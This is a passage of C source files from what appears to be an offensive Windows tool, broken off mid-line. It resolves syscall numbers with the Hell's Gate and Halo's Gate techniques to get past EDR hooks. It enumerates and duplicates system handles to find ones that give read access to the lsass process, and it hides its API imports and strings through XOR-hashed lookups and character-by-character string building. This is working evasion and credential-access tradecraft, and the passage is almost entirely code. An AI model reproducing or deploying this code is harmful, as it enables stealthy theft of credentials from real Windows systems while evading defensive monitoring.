42 | 43 | if (pStub == NULL) 44 | goto exit; 45 | 46 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { 47 | 48 | if (*((PBYTE)pStub + wIdxStub) == 0xe9) { // This syscall stub is hooked 49 | bHooked = TRUE; 50 | break; 51 | } 52 | 53 | if (*((PBYTE)pStub + wIdxStub) == 0xc3) // Too far 54 | goto exit; 55 | 56 | if (*((PBYTE)pStub + wIdxStub) == 0x4c && *((PBYTE)pStub + wIdxStub + 1) == 0x8b && *((PBYTE)pStub + wIdxStub + 2) == 0xd1 && 57 | *((PBYTE)pStub + wIdxStub + 3) == 0xb8 && *((PBYTE)pStub + wIdxStub + 6) == 0x00 && *((PBYTE)pStub + wIdxStub + 7) == 0x00) { 58 | 59 | BYTE low = *((PBYTE)pStub + 4 + wIdxStub); 60 | BYTE high = *((PBYTE)pStub + 5 + wIdxStub); 61 | 62 | dwSyscallNr = (high << 8) | low; 63 | 64 | #ifdef _DEBUG 65 | printf("\tFound syscall using Hells Gate\n"); 66 | #endif 67 | 68 | break; 69 | 70 | } 71 | } 72 | 73 | if (bHooked) { // Check syscalls around our hooked syscall 74 | 75 | for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++) { 76 | if ((PBYTE)pStub + wIdxfName * DOWN < ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[pExportDir->NumberOfFunctions - 1]])) { 77 | if ( 78 | *((PBYTE)pStub + wIdxfName * DOWN) == 0x4c 79 | && *((PBYTE)pStub + 1 + wIdxfName * DOWN) == 0x8b 80 | && *((PBYTE)pStub + 2 + wIdxfName * DOWN) == 0xd1 81 | && *((PBYTE)pStub + 3 + wIdxfName * DOWN) == 0xb8 82 | && *((PBYTE)pStub + 6 + wIdxfName * DOWN) == 0x00 83 | && *((PBYTE)pStub + 7 + wIdxfName * DOWN) == 0x00) { 84 | 85 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * DOWN); 86 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * DOWN); 87 | dwSyscallNr = ((high << 8) | low) - wIdxfName; 88 | 89 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * DOWN); 90 | 91 | break; 92 | 93 | } 94 | } 95 | 96 | if ((PBYTE)pStub + wIdxfName * UP > ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[0]])) { 97 | 98 | if (*((PBYTE)pStub + wIdxfName * UP) == 0x4c 99 | && *((PBYTE)pStub + 1 + wIdxfName * UP) == 0x8b 100 | && *((PBYTE)pStub + 2 + wIdxfName * UP) == 0xd1 101 | && *((PBYTE)pStub + 3 + wIdxfName * UP) == 0xb8 102 | && *((PBYTE)pStub + 6 + wIdxfName * UP) == 0x00 103 | && *((PBYTE)pStub + 7 + wIdxfName * UP) == 0x00) { 104 | 105 | BYTE high = *((PBYTE)pStub + 5 + wIdxfName * UP); 106 | BYTE low = *((PBYTE)pStub + 4 + wIdxfName * UP); 107 | dwSyscallNr = ((high << 8) |low ) + wIdxfName; 108 | 109 | pStub = (PVOID)((PBYTE)pStub + wIdxfName * UP); 110 | 111 | break; 112 | 113 | } 114 | } 115 | } 116 | 117 | #ifdef _DEBUG 118 | printf("\tFound syscall using Halos gate\n"); 119 | #endif 120 | 121 | } 122 | 123 | if (pStub && dwSyscallNr) { // Last step: Search for syscall ; ret to use directly 124 | for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { 125 | if (*((PBYTE)pStub + wIdxStub) == 0x0f && *((PBYTE)pStub + wIdxStub + 1) == 0x05 && *((PBYTE)pStub + wIdxStub + 2) == 0xc3) { // syscall; ret - sequence? 126 | pGate = (LPVOID)((PBYTE)pStub + wIdxStub); 127 | break; 128 | } 129 | } 130 | } 131 | 132 | #ifdef _DEBUG 133 | printf("\tFound syscall; ret instruction\n"); 134 | #endif 135 | 136 | if (pGate == NULL || dwSyscallNr == 0x00) 137 | goto exit; 138 | 139 | pSyscall->pRecycledGate = pGate; 140 | pSyscall->dwSyscallNr = dwSyscallNr; 141 | 142 | #ifdef _DEBUG 143 | printf("\tSyscall nr: %d\n", dwSyscallNr); 144 | printf("\tGate: %p\n", pGate); 145 | #endif 146 | 147 | dwSuccess = SUCCESS; 148 | 149 | exit: 150 | 151 | return dwSuccess; 152 | 153 | } 154 | 155 | PVOID findNtDll(void) { 156 | 157 | _PPEB pPeb = NULL; 158 | PPEB_LDR_DATA pLdrData = NULL; 159 | PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pModuleStart = NULL; 160 | PUNICODE_STR pDllName = NULL; 161 | 162 | PVOID pNtdllBase = NULL; 163 | 164 | pPeb = (_PPEB)__readgsqword(0x60); 165 | pLdrData = pPeb->pLdr; 166 | pModuleEntry = pModuleStart = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink; 167 | 168 | do { 169 | 170 | pDllName = &pModuleEntry->BaseDllName; 171 | 172 | if (pDllName->pBuffer == NULL) 173 | return NULL; 174 | 175 | if (djb2_unicode(toLower(pDllName->pBuffer)) == xor_hash(0x6391f6a9)) { 176 | pNtdllBase = (PVOID)pModuleEntry->DllBase; 177 | break; 178 | } 179 | 180 | pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink; 181 | 182 | } while (pModuleEntry != pModuleStart); 183 | 184 | return pNtdllBase; 185 | 186 | } 187 | 188 | unsigned long 189 | djb2_unicode(const wchar_t* str) 190 | { 191 | 192 | unsigned long hash = 5381; 193 | DWORD val; 194 | 195 | while (*str != 0) { 196 | val = (DWORD)*str++; 197 | hash = ((hash << 5) + hash) + val; 198 | } 199 | 200 | return hash; 201 | 202 | } 203 | 204 | unsigned long 205 | djb2(unsigned char* str) 206 | { 207 | unsigned long hash = 5381; 208 | int c; 209 | 210 | while ((c = *str++)) 211 | hash = ((hash << 5) + hash) + c; 212 | 213 | return hash; 214 | } 215 | 216 | WCHAR* 217 | toLower(WCHAR* str) 218 | { 219 | 220 | WCHAR* start = str; 221 | 222 | while (*str) { 223 | 224 | if (*str <= L'Z' && *str >= 'A') { 225 | *str += 32; 226 | } 227 | 228 | str += 1; 229 | 230 | } 231 | 232 | return start; 233 | 234 | } 235 | 236 | unsigned long 237 | xor_hash(unsigned long hash) { 238 | return hash ^ HASH_KEY; 239 | } 240 | -------------------------------------------------------------------------------- /src/HandleTools.c: -------------------------------------------------------------------------------- 1 | #include "HandleTools.h" 2 | 3 | 4 | PSYSTEM_HANDLE_INFORMATION get_handles(struct fPtrs* ptr_functions) { 5 | 6 | NTSTATUS status = STATUS_UNSUCCESSFUL; 7 | PVOID buffer = NULL; 8 | ULONG bufferSize = 0; 9 | PSYSTEM_HANDLE_INFORMATION handleInfo = NULL; 10 | 11 | DWORD dwSuccess = FAIL; 12 | Syscall sysNtQuerySystemInformation = { 0x00 }; 13 | 14 | dwSuccess = getSyscall(0xaf0d30ec, &sysNtQuerySystemInformation); 15 | if(dwSuccess == FAIL) 16 | goto exit; 17 | 18 | do { 19 | PrepareSyscall(sysNtQuerySystemInformation.dwSyscallNr, sysNtQuerySystemInformation.pRecycledGate); 20 | status = DoSyscall((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize); 21 | if (!NT_SUCCESS(status)) { 22 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 23 | if (buffer != NULL) 24 | ptr_functions->_VirtualFree(buffer, 0, MEM_RELEASE); 25 | buffer = ptr_functions->_VirtualAlloc(NULL, bufferSize, MEM_COMMIT, PAGE_READWRITE); 26 | continue; 27 | } 28 | break; 29 | } 30 | else { 31 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer; 32 | break; 33 | } 34 | } while (1); 35 | 36 | exit: 37 | 38 | return handleInfo; 39 | 40 | } 41 | 42 | HANDLE check_handles(PSYSTEM_HANDLE_INFORMATION handle_info, DWORD in_pid, char* ptr_output, struct fPtrs* ptr_functions) { 43 | 44 | POBJECT_TYPE_INFORMATION objectTypeInfo = NULL; 45 | PSYSTEM_HANDLE entry_info = NULL; 46 | NTSTATUS status = 0; 47 | HANDLE dupHandle = NULL, h_process = NULL, h_return = NULL; 48 | ULONG idx_handle = 0x00; 49 | 50 | OBJECT_ATTRIBUTES ObjectAttributes; 51 | InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 52 | 53 | CLIENT_ID uPid = { 0 }; 54 | 55 | char handle_name[MAX_PATH] = { 0 }; 56 | char process_path[MAX_PATH] = { 0 }; 57 | char* process_name = NULL; 58 | 59 | wchar_t str_process[] = { L'P',L'r',L'o',L'c',L'e',L's',L's', 0x00 }; 60 | char str_lsass[] = { 'l','s','a','s','s', 0x00 }; 61 | 62 | DWORD dwSuccess = FAIL; 63 | Syscall sysNtOpenProcess = { 0x00 }, sysNtDuplicateObject = { 0x00 }, sysNtQueryObject = { 0x00 }; 64 | 65 | dwSuccess = getSyscall(0x1141831c, &sysNtOpenProcess); 66 | if(dwSuccess == FAIL) 67 | goto exit; 68 | 69 | dwSuccess = getSyscall(0x62caad5d, &sysNtDuplicateObject); 70 | if(dwSuccess == FAIL) 71 | goto exit; 72 | 73 | dwSuccess = getSyscall(0x60c355b0, &sysNtQueryObject); 74 | if(dwSuccess == FAIL) 75 | goto exit; 76 | 77 | for (idx_handle = 0; idx_handle < handle_info->HandleCount; idx_handle++) { 78 | 79 | entry_info = &handle_info->Handles[idx_handle]; 80 | 81 | if (in_pid && in_pid != entry_info->ProcessId) 82 | continue; 83 | 84 | // Checking some granted access. The internet says, NtDuplicateObject() might hang on these rights 85 | if (entry_info->GrantedAccess != 0x0012019f && entry_info->GrantedAccess != 0x001a019f && entry_info->GrantedAccess != 0x00120189 && entry_info->GrantedAccess != 0x00100000) { 86 | 87 | if (objectTypeInfo != NULL) { 88 | ptr_functions->_VirtualFree(objectTypeInfo, 0, MEM_RELEASE); 89 | objectTypeInfo = NULL; 90 | } 91 | 92 | uPid.UniqueProcess = entry_info->ProcessId; 93 | uPid.UniqueThread = 0; 94 | 95 | PrepareSyscall(sysNtOpenProcess.dwSyscallNr, sysNtOpenProcess.pRecycledGate); 96 | status = DoSyscall(&h_process, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, &ObjectAttributes, &uPid); 97 | if (!NT_SUCCESS(status)){ 98 | goto cleanup; 99 | } 100 | 101 | PrepareSyscall(sysNtDuplicateObject.dwSyscallNr, sysNtDuplicateObject.pRecycledGate); 102 | status = DoSyscall(h_process, (HANDLE)(uint64_t)entry_info->Handle, NtCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); 103 | if (!NT_SUCCESS(status)) { 104 | goto cleanup; 105 | } 106 | 107 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)ptr_functions->_VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE); 108 | if (objectTypeInfo == NULL) { 109 | goto cleanup; 110 | } 111 | 112 | PrepareSyscall(sysNtQueryObject.dwSyscallNr, sysNtQueryObject.pRecycledGate); 113 | status = DoSyscall(dupHandle, (OBJECT_INFORMATION_CLASS)ObjectTypeInformation, objectTypeInfo, 0x1000, NULL); 114 | if (!NT_SUCCESS(status)){ 115 | goto cleanup; 116 | } 117 | 118 | if (ptr_functions->_strcmpW(objectTypeInfo->TypeName.pBuffer, str_process)) 119 | goto cleanup; 120 | 121 | if (!ptr_functions->_GetModuleFileNameExA(dupHandle, NULL, handle_name, MAX_PATH)) 122 | goto cleanup; 123 | 124 | if (!ptr_functions->_GetProcessImageFileNameA(h_process, process_path, MAX_PATH)) 125 | goto cleanup; 126 | 127 | if (ptr_functions->_strstrA(handle_name, str_lsass) != NULL && (((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) & entry_info->GrantedAccess) != 0)) { 128 | 129 | process_name = (char*)ptr_functions->_PathFindFileNameA(process_path); 130 | 131 | char msg_found[] = { '[','+',']',' ','F','o','u','n','d',' ','a','n','d',' ','s','u','c','c','e','s','s','f','u','l','l','y',' ','c','l','o','n','e','d',' ','h','a','n','d','l','e',' ','(','%','d',')',' ','t','o',' ','l','s','a','s','s',' ','i','n',':',' ','%','s',' ','(','%','d',')','\n', 0x00 }; 132 | char msg_handle_rights[] = { '\t','[','+',']',' ','H','a','n','d','l','e',' ','R','i','g','h','t','s',':',' ','%','x','\n', 0x00 }; 133 | 134 | char tmp[512] = { 0x00 }; 135 | char tmp_1[512] = { 0x00 }; 136 | 137 | ptr_functions->_wsprintfA(tmp, msg_found, uPid.UniqueProcess, process_name, uPid.UniqueProcess); 138 | ptr_functions->_wsprintfA(tmp_1, msg_handle_rights, entry_info->GrantedAccess); 139 | 140 | ptr_functions->_lstrcatA(ptr_output, tmp); 141 | ptr_functions->_lstrcatA(ptr_output, tmp_1); 142 | 143 | h_return = dupHandle; 144 | 145 | if (in_pid) 146 | break; 147 | 148 | } 149 | 150 | cleanup: 151 | if(dupHandle) { 152 | ptr_functions->_CloseHandle(dupHandle); 153 | dupHandle = NULL; 154 | } 155 | 156 | if(h_process) { 157 | ptr_functions->_CloseHandle(h_process); 158 | h_process = NULL; 159 | } 160 | 161 | } 162 | 163 | } 164 | 165 | exit: 166 | 167 | if (h_process != NULL) 168 | ptr_functions->_CloseHandle(h_process); 169 | 170 | if (objectTypeInfo != NULL) 171 | ptr_functions->_VirtualFree(objectTypeInfo, 0, MEM_RELEASE); 172 | 173 | return h_return; 174 | 175 | } 176 | -------------------------------------------------------------------------------- /src/APIResolve.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "windows.h" 5 | #include "wininet.h" 6 | #include "psapi.h" 7 | 8 | #include 9 | 10 | #include "Defines.h" 11 | 12 | #define FAIL 0 13 | #define SUCCESS 1 14 | 15 | #define CRYPT_KEY 0x41424344 16 | 17 | uint64_t getFunctionPtr(unsigned long, unsigned long); 18 | 19 | // ---- KERNEL32 ---- 20 | #define CRYPTED_HASH_KERNEL32 0x3102ad31 21 | #define CRYPTED_HASH_LOADLIBRARYA 0x1efdb3bf 22 | #define CRYTPED_HASH_VIRTUALALLOC 0x796e4cd3 23 | #define CRYPTED_HASH_LSTRCATA 0x93fde827 24 | #define CRYPTED_HASH_LSTRLENA 0x9386e84e 25 | #define CRYPTED_HASH_CLOSEHANDLE 0x79328943 26 | #define CRYPTED_HASH_VIRTUALFREE 0x27cd8c6a 27 | #define CRYPTED_HASH_COPYMEMORY 0x14d8cfcf 28 | #define CRYPTED_HASH_GETCURRENTTHREAD 0xa17b4b84 29 | #define CRYPTED_HASH_TERMINATETHREAD 0xc6ec2902 30 | #define CRYPTED_HASH_SETCURRENTDIRECTORY 0xff81e32e 31 | #define CRYPTED_HASH_MULTIBYTETOWIDECHAR 0xa3bf99ca 32 | #define CRYPTED_HASH_WIDECHARTOMULTIBYTE 0xa71f728a 33 | #define CRYPTED_HASH_LSTRCATW 0x93fde83d 34 | #define CRYPTED_HASH_LSTRLENW 0x9386e864 35 | #define CRYPTED_HASH_CREATEFILEA 0xaad486be 36 | #define CRYPTED_HASH_WRITEFILE 0x277eaff4 37 | #define CRYPTED_HASH_SETFILEPOINTER 0x12ad28b6 38 | #define CRYPTED_HASH_OPENPROCESS 0x3074be92 39 | #define CRYPTED_HASH_CREATETOOLHELP32SNAPSHOT 0x27c751d1 40 | #define CRYPTED_HASH_OPENPROCESSTOKEN 0x843993d3 41 | #define CRYPTED_HASH_PROCESS32NEXT 0xd1553c6c 42 | #define CRYPTED_HASH_PROCESS32FIRST 0xd33afb35 43 | #define CRYPTED_HASH_GETLASTERROR 0x61c0a9a7 44 | #define CRYPTED_HASH_DELETEFILEA 0x5d9ac45d 45 | #define CRYPTED_HASH_COPYFILE 0xed601085 46 | #define CRYPTED_HASH_LSTRCMPW 0x93fd9d45 47 | #define CRYPTED_HASH_GETCURRENTPROCESS 0x8bcf3663 48 | #define CRYPTED_HASH_LSTRCMPA 0x93fd9eaf 49 | #define CRYPTED_HASH_LOOKUPPRIVILEGEVALUEA 0xfaec2dc0 50 | #define CRYPTED_HASH_GETMODULEFILENAMEEXA 0xa5240a0e 51 | #define CRYPTED_HASH_GETPROCESSIMAGEFILENAMEA 0x5f11c72d 52 | #define CRYPTED_HASH_GETPROCESSID 0x8c484b5 53 | #define CRYPTED_HASH_GETPROCESSHEAP 0x871a4e46 54 | #define CRYPTED_HASH_HEAPALLOC 0x5ebf244a 55 | #define CRYPTED_HASH_HEAPREALLOC 0x5f738261 56 | #define CRYPTED_HASH_HEAPFREE 0x760ad081 57 | #define CRYPTED_HASH_GETSYSTEMINFO 0xc24aacb2 58 | #define CRYPTED_HASH_FREELIBRARY 0x71ac8d78 59 | #define CRYPTED_HASH_ISPROCESSORFEATUREPRESENT 0x83081c4a 60 | #define CRYPTED_HASH_VIRTUALQUERYEX 0x96d1a8db 61 | #define CRYPTED_HASH_SETFILEPOINTEREX 0x4c387a8b 62 | #define CRYPTED_HASH_LSTRCPYW 0x93fda8a9 63 | #define CRYPTED_HASH_GETMODULEFILENAMEEXW 0xa5240a24 64 | #define CRYPTED_HASH_ENUMPROCESSMODULES 0xe49cdcd6 65 | #define CRYPTED_HASH_GETMODULEINFORMATION 0xb7f544b5 66 | #define CRYPTED_HASH_GETMODULEBASENAMEW 0xbbcd9cda 67 | #define CRYPTED_HASH_GETPROCADDRESS 0x8e73f85b 68 | 69 | typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE); 70 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 71 | typedef LPSTR(WINAPI* LSTRCATA)(LPSTR, LPSTR); 72 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 73 | typedef int(WINAPI* LSTRLENA)(LPCSTR); 74 | typedef BOOL(WINAPI* VIRTUALFREE)(LPVOID, SIZE_T, DWORD); 75 | typedef BOOL(WINAPI* VIRTUALFREE)(LPVOID, SIZE_T, DWORD); 76 | typedef void(WINAPI* COPYMEMORY)(PVOID, void*, SIZE_T); 77 | typedef BOOL(WINAPI* TERMINATETHREAD)( HANDLE, DWORD ); 78 | typedef HANDLE (WINAPI* GETCURRENTTHREAD)(); 79 | typedef BOOL(WINAPI* SETCURRENTDIRECTORY)(LPCTSTR); 80 | typedef int(WINAPI* MULTIBYTETOWIDECHAR)(UINT, DWORD, LPCCH, int, LPWSTR, int); 81 | typedef int(WINAPI* WIDECHARTOMULTIBYTE)(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL); 82 | typedef LPWSTR(WINAPI* LSTRCATW)(LPWSTR, LPCWSTR); 83 | typedef int (WINAPI* LSTRLENW)(LPCWSTR); 84 | typedef HANDLE(WINAPI* CREATEFILEA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 85 | typedef BOOL(WINAPI* WRITEFILE)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 86 | typedef DWORD(WINAPI* SETFILEPOINTER)(HANDLE, LONG, PLONG, DWORD); 87 | typedef HANDLE(WINAPI* OPENPROCESS)(DWORD, BOOL, DWORD); 88 | typedef HANDLE(WINAPI* CREATETOOLHELP32SNAPSHOT)(DWORD, DWORD); 89 | typedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE); 90 | typedef BOOL(WINAPI* PROCESS32NEXT)(HANDLE, LPPROCESSENTRY32); 91 | typedef BOOL(WINAPI* PROCESS32FIRST)(HANDLE, LPPROCESSENTRY32); 92 | typedef DWORD(WINAPI* GETLASTERROR)(VOID); 93 | typedef BOOL(WINAPI* DELETEFILEA)(LPCSTR); 94 | typedef BOOL(WINAPI* COPYFILE)(LPCTSTR, LPCTSTR, BOOL); 95 | typedef int(WINAPI* LSTRCMPW)(LPCWSTR, LPCWSTR); 96 | typedef HANDLE(WINAPI* GETCURRENTPROCESS)(void); 97 | typedef int (WINAPI* LSTRCMPA)(LPCSTR, LPCSTR); 98 | typedef BOOL(WINAPI* LOOKUPPRIVILEGEVALUEA)(LPCSTR, LPCSTR, PLUID); 99 | typedef DWORD(WINAPI* GETMODULEFILENAMEXA)(HANDLE, HMODULE, LPSTR, DWORD); 100 | typedef DWORD(WINAPI* GETPROCESSIMAGEFILENAMEA)(HANDLE, LPSTR, DWORD); 101 | typedef DWORD(WINAPI* GETPROCESSID)(HANDLE); 102 | typedef HANDLE(WINAPI* GETPROCESSHEAP)(); 103 | typedef LPVOID(WINAPI* HEAPALLOC)(HANDLE, DWORD, SIZE_T); 104 | typedef LPVOID(WINAPI* HEAPREALLOC)(HANDLE, DWORD, LPVOID, SIZE_T); 105 | typedef BOOL(WINAPI* HEAPFREE)(HANDLE, DWORD, LPVOID); 106 | typedef void(WINAPI* GETSYSTEMINFO)(LPSYSTEM_INFO); 107 | typedef BOOL(WINAPI* FREELIBRARY)(HMODULE); 108 | typedef BOOL(WINAPI* ISPROCESSORFEATUREPRESENT)(DWORD); 109 | typedef SIZE_T(WINAPI* VIRTUALQUERYEX)(HANDLE, LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T); 110 | typedef BOOL(WINAPI* SETFILEPOINTEREX)(HANDLE, LARGE_INTEGER, PLARGE_INTEGER, DWORD); 111 | typedef LPWSTR(WINAPI* LSTRCPYW)(LPWSTR, LPCWSTR); 112 | typedef DWORD(WINAPI* GETMODULEFILENAMEEXW)(HANDLE, HMODULE, LPWSTR, DWORD); 113 | typedef BOOL(WINAPI* ENUMPROCESSMODULES)(HANDLE, HMODULE*, DWORD, LPDWORD); 114 | typedef BOOL(WINAPI* GETMODULEINFORMATION)(HANDLE, HMODULE, LPMODULEINFO, DWORD); 115 | typedef BOOL(WINAPI* GETMODULEBASENAMEW)(HANDLE, HMODULE, LPWSTR, DWORD); 116 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 117 | 118 | // ---- USER32 ---- 119 | #define CRYPTED_HASH_USER32 0x985bec97 120 | #define CRYPTED_HASH_WSPRINTFA 0xb9dafb87 121 | #define CRYPTED_HASH_WSPRINTFW 0xb9dafb9d 122 | 123 | typedef int(WINAPI* WSPRINTFA)(LPSTR, LPCSTR, ...); 124 | typedef int(WINAPI* WSPRINTFW)(LPWSTR, LPCWSTR, ...); 125 | 126 | // ---- Advapi32 ---- 127 | #define CRYPTED_HASH_ADVAPI32 0x2662c90d 128 | #define CRYPTED_HASH_GETTOKENINFORMATION 0xcf963c68 129 | #define CRYPTED_HASH_DUPLICATETOKENEX 0x3cd8cc5a 130 | 131 | typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD); 132 | typedef BOOL(WINAPI* DUPLICATETOKENEX)(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE); 133 | 134 | // ---- shlwapi.dll ---- 135 | #define CRYPTED_HASH_SHLWAPI 0xe64fd763 136 | #define CRYPTED_HASH_STRSTRA 0x4ef4617c 137 | #define CRYPTED_HASH_PATHFINDFILENAMEA 0x9ed91f31 138 | #define CRYPTED_HASH_STRCMPW 0x4eef7d71 139 | 140 | typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR); 141 | typedef LPCSTR(WINAPI* PATHFINDFILENAMEA)(LPCSTR); 142 | typedef int(WINAPI* STRCMPW)(PCWSTR, PCWSTR); 143 | 144 | // ---- Psapi.dll ---- 145 | #define CRYPTED_HASH_PSAPI 0xf82688 146 | 147 | // ---- Api-ms-win-core-version-l1-1-0.dll 148 | #define CRYPTED_HASH_API_MS_WIN_CORE_DLL 0xf5ce0ebb 149 | #define CRYPTED_HASH_GETFILEVERSIONINFOSIZEW 0x504105cd 150 | #define CRYPTED_HASH_GETFILEVERSIONINFOW 0x9436ba2a 151 | #define CRYPTED_HASH_VERQUERYVALUEW 0x3927db18 152 | 153 | typedef DWORD(WINAPI* GETFILEVERSIONINFOSIZEW)(LPCWSTR, LPDWORD); 154 | typedef BOOL(WINAPI* GETFILEVERSIONINFOW)(LPCWSTR, DWORD, DWORD, LPVOID); 155 | typedef BOOL(WINAPI* VERQUERYVALUEW)(LPVOID, LPCWSTR, LPVOID, PUINT); 156 | -------------------------------------------------------------------------------- /src/ApiResolve.c: -------------------------------------------------------------------------------- 1 | #include "APIResolve.h" 2 | 3 | static uint64_t getDllBase(unsigned long); 4 | static uint64_t loadDll(unsigned long); 5 | static uint64_t loadDll_byName(char*); 6 | static uint64_t parseHdrForPtr(uint64_t, unsigned long); 7 | static uint64_t followExport(char*, unsigned long); 8 | 9 | static unsigned long djb2(unsigned char*); 10 | static unsigned long unicode_djb2(const wchar_t* str); 11 | static unsigned long xor_hash(unsigned long); 12 | static WCHAR* toLower(WCHAR* str); 13 | 14 | uint64_t 15 | getFunctionPtr(unsigned long crypted_dll_hash, unsigned long crypted_function_hash) { 16 | 17 | uint64_t dll_base = 0x00; 18 | uint64_t ptr_function = 0x00; 19 | 20 | dll_base = getDllBase(crypted_dll_hash); 21 | if (dll_base == 0) { 22 | dll_base = loadDll(crypted_dll_hash); 23 | if (dll_base == 0) 24 | return FAIL; 25 | } 26 | 27 | ptr_function = parseHdrForPtr(dll_base, crypted_function_hash); 28 | 29 | return ptr_function; 30 | 31 | } 32 | 33 | static uint64_t 34 | loadDll(unsigned long crypted_dll_hash) { 35 | 36 | uint64_t kernel32_base = 0x00; 37 | uint64_t fptr_loadLibary = 0x00; 38 | uint64_t ptr_loaded_dll = 0x00; 39 | 40 | kernel32_base = getDllBase(CRYPTED_HASH_KERNEL32); 41 | if (kernel32_base == 0x00) 42 | return FAIL; 43 | 44 | fptr_loadLibary = parseHdrForPtr(kernel32_base, CRYPTED_HASH_LOADLIBRARYA); 45 | if (fptr_loadLibary == 0x00) 46 | return FAIL; 47 | 48 | if (crypted_dll_hash == CRYPTED_HASH_USER32) { 49 | char dll_name[] = { 'U', 's', 'e', 'r', '3' ,'2' ,'.', 'd', 'l', 'l', 0x00 }; 50 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 51 | } else if (crypted_dll_hash == CRYPTED_HASH_ADVAPI32) { 52 | char dll_name[] = { 'A', 'd', 'v', 'a', 'p', 'i', '3', '2','.','d','l','l',0x00 }; 53 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 54 | } else if (crypted_dll_hash == CRYPTED_HASH_SHLWAPI) { 55 | char dll_name[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', '.', 'd','l','l',0x00 }; 56 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 57 | } else if (crypted_dll_hash == CRYPTED_HASH_PSAPI) { 58 | char dll_name[] = { 'P', 's', 'a', 'p', 'i', '.', 'd','l','l',0x00 }; 59 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 60 | } else if (crypted_dll_hash == CRYPTED_HASH_API_MS_WIN_CORE_DLL) { 61 | char dll_name[] = { 'A','p','i','-','m','s','-','w','i','n','-','c','o','r','e','-','v','e','r','s','i','o','n','-','l','1','-','1','-','0','.','d','l','l', 0x00 }; 62 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 63 | } 64 | 65 | return ptr_loaded_dll; 66 | 67 | } 68 | 69 | static uint64_t 70 | loadDll_byName(char* dll_name) { 71 | 72 | uint64_t kernel32_base = 0x00; 73 | uint64_t fptr_loadLibary = 0x00; 74 | uint64_t ptr_loaded_dll = 0x00; 75 | 76 | kernel32_base = getDllBase(CRYPTED_HASH_KERNEL32); 77 | if (kernel32_base == 0x00) 78 | return FAIL; 79 | 80 | fptr_loadLibary = parseHdrForPtr(kernel32_base, CRYPTED_HASH_LOADLIBRARYA); 81 | if (fptr_loadLibary == 0x00) 82 | return FAIL; 83 | 84 | ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name); 85 | 86 | return ptr_loaded_dll; 87 | 88 | } 89 | 90 | 91 | static uint64_t 92 | parseHdrForPtr(uint64_t dll_base, unsigned long crypted_function_hash) { 93 | 94 | PIMAGE_NT_HEADERS nt_hdrs = NULL; 95 | PIMAGE_DATA_DIRECTORY data_dir = NULL; 96 | PIMAGE_EXPORT_DIRECTORY export_dir = NULL; 97 | 98 | uint32_t* ptr_exportadrtable = 0x00; 99 | uint32_t* ptr_namepointertable = 0x00; 100 | uint16_t* ptr_ordinaltable = 0x00; 101 | 102 | uint32_t idx_functions = 0x00; 103 | 104 | unsigned char* ptr_function_name = NULL; 105 | 106 | 107 | nt_hdrs = (PIMAGE_NT_HEADERS)(dll_base + (uint64_t)((PIMAGE_DOS_HEADER)(size_t)dll_base)->e_lfanew); 108 | data_dir = (PIMAGE_DATA_DIRECTORY)&nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 109 | export_dir = (PIMAGE_EXPORT_DIRECTORY)(dll_base + (uint64_t)data_dir->VirtualAddress); 110 | 111 | ptr_exportadrtable = (uint32_t*)(dll_base + (uint64_t)export_dir->AddressOfFunctions); 112 | ptr_namepointertable = (uint32_t*)(dll_base + (uint64_t)export_dir->AddressOfNames); 113 | ptr_ordinaltable = (uint16_t*)(dll_base + (uint64_t)export_dir->AddressOfNameOrdinals); 114 | 115 | for (idx_functions = 0; idx_functions < export_dir->NumberOfNames; idx_functions++) { 116 | 117 | ptr_function_name = (unsigned 